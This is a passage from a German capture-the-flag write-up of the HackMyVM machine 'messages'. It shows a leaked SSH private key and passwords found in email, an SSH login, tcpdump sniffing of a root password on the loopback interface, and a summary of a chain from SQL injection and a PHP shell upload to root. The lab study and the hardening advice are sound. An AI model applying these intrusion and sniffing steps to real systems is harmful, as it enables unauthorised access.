Analyse Fortsetzung:** Im Posteingang wird eine fehlgeschlagene E-Mail ("Undelivered Mail Returned to Sender") gefunden. Der Anhang oder Inhalt dieser E-Mail enthält einen privaten SSH-Schlüssel.
... Subject: my details From: ruby@messages.hmv To: ruby@anotherserver.hmv Date: 2022-01-26 21:53 Ruby.r123 <-- Passwort im Klartext in der Mail! -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn NhAAAAAwEAAQAAAgEApwxfaF+jj7Ie8kP3Kl29G5PQ7fEuajPpxp3wFqaxIBNDj4xQShW ... (SSH Key gekürzt) ... 0AAAdISRMm7kkTJu4AAAAHc3NoLXJzYQAAAgEApwxfaF+jj7Ie8kP3Kl29G5PQ7fEuajP ... (SSH Key gekürzt) ... dxndyc7ZgSkAAAANcnVieUBtZXNzYWdlcwECAwQFBg -----END OPENSSH PRIVATE KEY-----
Bewertung: Ein kritischer Fund! Die E-Mail enthält nicht nur erneut das Passwort im Klartext, sondern auch einen privaten SSH-Schlüssel, der wahrscheinlich für den Benutzer `ruby` auf dem System gültig ist. Dies ermöglicht einen direkten SSH-Zugang.
Analyse Fortsetzung:** Der private SSH-Schlüssel wird extrahiert, in einer lokalen Datei (`sshkey`) gespeichert und die Berechtigungen werden auf `600` gesetzt.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn ... -----END OPENSSH PRIVATE KEY-----
Analyse Fortsetzung:** Mit dem extrahierten Schlüssel wird versucht, sich per SSH als `ruby` anzumelden.
Linux messages 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jan 27 14:44:20 2022
Bewertung: Der SSH-Login mit dem gefundenen Schlüssel ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `ruby`.
Empfehlung (Pentester):** Führen Sie Enumeration als Benutzer `ruby` durch. Suchen Sie nach `sudo`-Rechten (`sudo -l`), SUID/SGID-Dateien, Cronjobs, sensiblen Dateien im Home-Verzeichnis und anderen Vektoren zur Privilegieneskalation. Lesen Sie die User-Flag (`/home/ruby/userflag.txt`).
Empfehlung (Admin):** Speichern Sie niemals private Schlüssel oder Passwörter in E-Mails! Schulen Sie Benutzer im sicheren Umgang mit Schlüsseln und Passwörtern. Verwenden Sie passwortgeschützte SSH-Schlüssel. Überwachen Sie SSH-Logins.
Analyse: Als Benutzer `ruby` wird erneut das Webmail durchsucht. Es wird eine E-Mail von `root` gefunden, die ein Skript erwähnt, das Root-E-Mails prüft und auf dem Loopback-Interface (`127.0.0.1`) lauscht.
Subject: PPP3 script From: root@messages.hmv Date: 2022-01-26 22:03 I have got that script working so it will check any e-mails sent to the root account. Shouldnt need to worry about security as it uses 127.0.0.1 so nobody can intercept that. Root.
Analyse Fortsetzung:** Basierend auf dieser Information wird `tcpdump` verwendet, um den Netzwerkverkehr auf dem Loopback-Interface (`lo`) zu überwachen. Der Filter `grep -a 'PASS'` wird verwendet, um gezielt nach Zeilen zu suchen, die das Wort "PASS" enthalten (wahrscheinlich im Zusammenhang mit einem Login-Versuch).
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes ... Warten auf relevante Pakete ... PASS Th1$isR3411yS3cuRe
Bewertung: Der Plan funktioniert! Nachdem eine Aktion ausgelöst wurde, bei der sich der `root`-Benutzer (oder ein Skript als `root`) über das Loopback-Interface authentifiziert (z.B. beim Abrufen von Mails), fängt `tcpdump` das Klartext-Passwort `Th1$isR3411yS3cuRe` ab. Dies war möglich, weil: 1. Ein Prozess als Root über Loopback kommuniziert und dabei das Passwort überträgt. 2. Der Benutzer `ruby` ausreichende Berechtigungen hat, um `tcpdump` auf dem Loopback-Interface auszuführen (dies ist oft der Fall für normale Benutzer).
Analyse Fortsetzung:** Mit dem abgefangenen Root-Passwort wird versucht, mittels `su root` zum Root-Benutzer zu wechseln.
Password: [Passwort Th1$isR3411yS3cuRe eingegeben]
Analyse Fortsetzung:** In der Root-Shell werden die Flags gelesen.
HMV{user:messages.hmv:421c93e018}
HMV{root:messages.hmv:5d3db63bba}
Bewertung: Die Privilegieneskalation war erfolgreich. Das Abfangen des Root-Passworts über `tcpdump` auf dem Loopback-Interface war der Schlüssel. Beide Flags wurden gefunden.
Empfehlung (Pentester):** Dies ist eine elegante Privilegieneskalations-Methode, die auf einer unsicheren Konfiguration basiert. Dokumentieren Sie den Prozess des Passwort-Sniffings.
Empfehlung (Admin):** Übertragen Sie niemals Passwörter im Klartext, auch nicht über das Loopback-Interface. Verwenden Sie sicherere Authentifizierungsmethoden (z.B. Unix Sockets mit Peer Credentials, Token-basierte Authentifizierung). Wenn Passwort-Authentifizierung über Loopback unvermeidbar ist, verschlüsseln Sie die Verbindung (z.B. mit TLS). Beschränken Sie die Berechtigungen von Benutzern, `tcpdump` auszuführen, falls möglich (obwohl dies oft schwierig ist). Ändern Sie das kompromittierte Root-Passwort.
Kurzbeschreibung: Dieser POC beschreibt die Kette von Schwachstellen, die zur Kompromittierung führte: Ausnutzung einer SQL-Injection zur Gewinnung von Admin-Zugangsdaten für einen Chatbot, Hochladen einer PHP-Shell über die Admin-Oberfläche (RCE), Auslesen von Datenbanken und Cracken von Benutzer-Passwörtern (Webmail), Fund eines SSH-Keys in einer E-Mail, SSH-Login als Benutzer 'ruby' und schließlich Privilegieneskalation durch Abhören des Root-Passworts auf dem Loopback-Interface mittels tcpdump.
Schwachstelle: SQL-Injection im Login-Parameter des Chatbots.
Schritte:
Ergebnis: Administrativer Zugriff auf den Chatbot.
Schwachstelle: Unsicherer Dateiupload im Chatbot-Adminpanel.
Schritte:
Ergebnis: Reverse Shell als `www-data`.
Schwachstellen: Klartext-Passwörter/Hashes in DB, Klartext-Passwort und SSH-Key in E-Mail.
Schritte (aus www-data Shell):
Ergebnis: Interaktive Shell als Benutzer `ruby`.
Schwachstelle: Klartext-Passwortübertragung über Loopback-Interface durch Root-Prozess.
Voraussetzungen: Shell als Benutzer `ruby` (mit Rechten zum Ausführen von `tcpdump`).
Schritte:
Ergebnis: Root-Shell.
Beweismittel: Ausführung von `id` zeigt `uid=0(root)`. Lesen von `/root/rootflag.txt` ist möglich.
Risikobewertung: Hoch. Mehrere Schwachstellen (SQLi, RCE, schwache Passwortspeicherung, Passwort/Key-Leak in E-Mails, Klartext-Passwortübertragung) ermöglichen eine schrittweise Kompromittierung von außen bis hin zu Root-Rechten.
Empfehlungen:** * **Admin:** SQLi beheben (Prepared Statements). Dateiuploads härten. Sichere Passwort-Hashes verwenden (bcrypt/Argon2). Sensible Daten (Keys, Passwörter) niemals in E-Mails speichern. Passwortübertragungen über Loopback absichern oder vermeiden. System und Dienste aktuell halten. * **Pentester:** Die Verkettung der Schwachstellen detailliert dokumentieren.